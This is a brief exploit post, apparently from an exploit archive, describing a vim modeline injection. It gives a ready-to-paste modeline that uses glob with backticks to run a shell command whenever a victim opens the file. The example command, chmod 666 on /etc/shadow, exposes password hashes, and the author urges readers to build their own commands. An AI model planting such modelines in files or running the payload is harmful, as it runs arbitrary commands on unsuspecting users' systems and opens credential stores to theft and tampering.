1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod\ 666\ /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
  chmod 666 /etc/shadow
 
Have fun making your own commands.

The advisory can be found at:
 http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke